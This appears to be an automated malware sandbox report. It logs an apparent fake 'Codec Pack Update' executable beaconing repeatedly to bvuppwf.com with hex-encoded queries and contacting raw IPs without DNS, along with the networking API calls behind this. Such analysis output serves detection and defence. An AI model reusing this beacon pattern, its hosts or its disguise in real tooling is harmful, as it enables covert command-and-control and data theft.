Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	TCP traffic detected without corresponding DNS query: 88.80.148.19
Source: unknown	UDP traffic detected without corresponding DNS query: 91.211.247.248

Source: C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Code function: 3_2_009F72A7 Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,InternetOpenA,InternetSetOptionA,InternetSetOptionA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_strtok,_swscanf,_strtok,_free,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,_sprintf,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_free,

3_2_009F72A7

Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c645db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608ffe16c1ec909e3b HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
